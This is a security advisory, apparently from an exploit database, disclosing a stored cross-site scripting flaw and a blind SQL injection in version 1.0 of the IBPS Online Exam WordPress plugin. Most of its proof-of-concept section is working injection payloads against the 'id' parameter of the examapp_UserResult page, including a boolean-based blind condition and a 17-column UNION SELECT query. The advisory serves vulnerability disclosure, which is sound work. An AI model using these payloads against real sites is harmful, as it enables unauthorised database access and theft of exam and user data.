WordPress Plugin IBPS Online Exam 1.0 – SQL Injection / Cross-Site Scripting
# Exploit Title: IBPS Online Exam Plugin for WordPress v1.0 - XSS SQLi # Date: 2017-07-11 # Exploit Author: 8bitsec # Vendor Homepage: https://elfemo.com/demo/server2/order2032/ # Software Link: https://codecanyon.net/item/ibps-online-exam-plugin-for-wordpress/20028534 # Version: 1.0 # Tested on: [Kali Linux 2.0 | Mac OS 10.12.5] # Email: contact@8bitsec.io # Contact: https://twitter.com/_8bitsec Release Date: ============= 2017-07-20 Product & Service Introduction: =============================== A Full Featured WordPress Plugin for IBPS Examination. Technical Details & Description: ================================ Stored XSS on exam input textfields. Blind SQL Injection on examapp_UserResult page id parameter. Proof of Concept (PoC): ======================= Authenticated Stored XSS: Logged as a student: Write the payload in the input textfields while attempting an exam. The payload will execute on My Results > View Details: https://localhost/wp-admin/admin.php?page=examapp_UserResult&info=view&id=[xx] Blind SQL Injection Logged as a student: https://localhost/wp-admin/admin.php?page=examapp_UserResult&info=view&id=79 and 1=1 Parameter: id (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: page=examapp_UserResult&info=view&id=78 AND 6705=6705 Type: UNION query Title: Generic UNION query (NULL) - 17 columns Payload: page=examapp_UserResult&info=view&id=-4748 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7178716b71,0x6b4c5247597261614e73447378544741764b4f7172597a5a58494551685a7056644d6e595773496e,0x7162787671),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- KttP Credits & Authors: ================== 8bitsec - [https://twitter.com/_8bitsec] |